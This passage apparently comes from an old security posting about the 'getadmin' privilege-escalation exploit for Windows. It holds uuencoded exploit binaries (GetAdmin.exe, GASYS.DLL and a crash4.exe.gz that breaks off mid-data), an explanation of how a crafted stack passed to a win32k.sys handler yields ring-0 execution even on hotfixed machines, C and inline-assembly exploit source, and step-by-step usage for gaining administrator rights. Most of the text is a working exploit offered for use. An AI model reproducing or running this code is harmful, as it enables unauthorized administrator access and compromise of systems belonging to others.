M$5U=HUS+AY:DL19C4=0(8&8.QP"_"]1?X$CT,*60B\,Q57C"5UPOM'BQSME"
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
G(`"V@>@W``!'05-94RY$3$Q02P4&``````(``@!Q````IH``````
`
end
WARNING: A new variation of this same getadmin exploit still works even after installing the hotfix! Constin Raiu
again offers some valuable insight below:
The most interesting function found is eax=4346. The handler of this function is located in win32k.sys By sending a carefully prepared
stack to the function, you can get your code executed at ring 0 (kernel privilege. When in ring 0, my program will change the flag in
NtGlobalAtom. Note that the program does not rely on NtGlobalAtom and debug privileges. I can write a small routine which patches more of
the kernel, to get admin rights. However, I choosed this approach in order to make it easier for everyone: run crash4.exe, then run
getadmin.exe.
Observations: The retf instruction at a0020b87 (in win32k.sys) will pop from the stack the bogus address and jump into user code. To get
out from kernel mode, an iret is performed.
To get administrator rights on a hotfixed machine, run crash4.exe then run getadmin.exe.
My exploit program code follows (download the crash4.exe here):
/*
Running ring 0 code.
Author: Costin RAIU
#include standard_disclaimer
****** NOTICE:
COMPILE THIS WITH BORLAND C 5.0 ONLY!!! DOES NOT WORK WITH VC++!!!
******
*/
void* a[2];
void main(void) {
int i;
for (i=0;i<2;i++) a[i]=(void*)0;
*(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],0f
*(char*)(0x4080a5)=0x0d;
*(char*)(0x4080a6)=0xb6;
*(char*)(0x4080a7)=0xc2;
*(char*)(0x4080a8)=0x14;
*(char*)(0x4080a9)=0x80;
*(char*)(0x4080aa)=0xc1;
*(char*)(0x4080ab)=0xcf;
_asm
{
mov eax,4346
mov edx,offset a
int 2eh
}
}
OK, now for the uuencoded executable:
begin 644 crash4.exe.gz
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
